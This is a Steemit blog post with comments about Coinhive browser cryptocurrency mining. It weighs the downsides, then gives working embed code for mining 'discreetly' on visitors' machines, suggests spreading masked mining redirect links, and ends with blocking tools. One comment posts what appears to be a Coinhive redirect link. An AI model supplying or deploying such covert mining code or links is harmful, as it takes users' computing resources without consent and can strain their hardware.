Forcing Website Visitors to Mine Cryptocurrency with Coinhive
With Adsense earnings in the dumps, some webmasters are finding alternative means to make money with their web traffic. Selling products and services is the more typical route that most take, but some are resorting to forcing users to mine cryptocurrencies using their web browser.
It is not a new concept as it was done in the past, with Javascript-based miners to mine Bitcoin, but it has resurfaced as CPU & GPU mining has become viable once again with altcoins. Coinhive is the hottest implementation of this concept and it mines XMR instead of Bitcoin to maximize efficiency.
For users that quickly bounce off of a page after 30 seconds, it is not so profitable. For web applications or engaging content, on the other hand, it may be snuck in so that users will sit for several minutes, perhaps even hours, mining currency in the background.
Why It's Not A Good Idea To Use Coinhive
For most users with not-so-great computers, they will notice the website being super choppy and their CPU and GPU loaded at 100%. Computers may be loaded to the point that damages its hardware. This will obviously raise some red flags and upon inspection of your website's source, your /lib/coinhive.min.js may be exposed and your reputation ruined.This is exactly what happened to the developer of e-celebrity Ice Poseidon's website, who snuck in currency within a web application, and now the users are tarnishing his reputation on the front page of Reddit.
How To Implement It
If you are curious or believe you have a way to get away with stealing your users' CPU & GPU resources, here are a few methods to implement it within your website:
Embedded Javascript
Place this script, or something similar, in webpages where you want to mine discreetly:
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('<site-key>');
miner.start();
</script>
- For "<site-key>", make sure to place the key found in your account's Settings page.
If you use a self-hosted Wordpress site, for example, you may place the code in a Custom HTML widget.
URL Redirection
Much like paid URL redirection services, like Adfly, Coinhive allows you to create short links with a delay so that it may mine XMR for a moment before the user is redirected. Instead of a set time in seconds, the user will have to solve a minimum amount of hashes, so faster computers will be redirected first. Sharing masked URL redirection links on forums and Reddit may be a method of spreading it.
Proof Of Work "Captcha"
Instead of trying to type out hard to read words or clicking on images of cars to access a site, this widget will simply force users to use computing resources in order to pass its "Captcha".
Read more about the implementation of Coinhive captcha here.
How To Stop Browser Mining
Using Firefox plugins like NoScript or QuickJava will allow you to completely disable scripts and render hidden miners useless. Unfortunately, this may also completely disable the functionality of most websites, so it must be directly targeted. The No Coin extention was created specifically for this purpose and other add-ons are likely to follow. It is currently available for Chrome but a Firefox extension is supposedly coming soon.
if you run a wordpress site there are plugins that do this for you. No need for code.
@originalworks
The @OriginalWorks bot has determined this post by @fiserman to be original material and upvoted it!
To call @OriginalWorks, simply reply to any post with @originalworks or !originalworks in your message!
To nominate this post for the daily RESTEEM contest, upvote this comment! The user with the most upvotes on their @OriginalWorks comment will win!
For more information, Click Here!
Check out my new post
I always visit your blog because you inspires me. Do what you do. Thank you very much for sharing inspiring content.
Congratulations! This post has been upvoted from the communal account, @minnowsupport, by JonPanama from the Minnow Support Project. It's a witness project run by aggroed, ausbitbank, teamsteem, theprophet0, someguy123, neoxian, followbtcnews/crimsonclad, and netuoso. The goal is to help Steemit grow by supporting Minnows and creating a social network. Please find us in the Peace, Abundance, and Liberty Network (PALnet) Discord Channel. It's a completely public and open space to all members of the Steemit community who voluntarily choose to be there.
This post has received a 0.32 % upvote from @booster thanks to: @fiserman.
Interesting article. Forcing users to do this without their consent seems like a really bad idea, but having them volunteer processing power does sound like an idea with potential. However having users burn out and damage their hardware would make me worried to implement it, even in a consensual way.
http://cnhv.co/hkj
Hey @fiserman, I linked this article on a recent post of mine about Coinhive. Hope you don't mind :)
https://steemit.com/bitcoin/@sek3/ad-networks-could-be-using-your-computer-to-mine-cryptocurrencies-right-now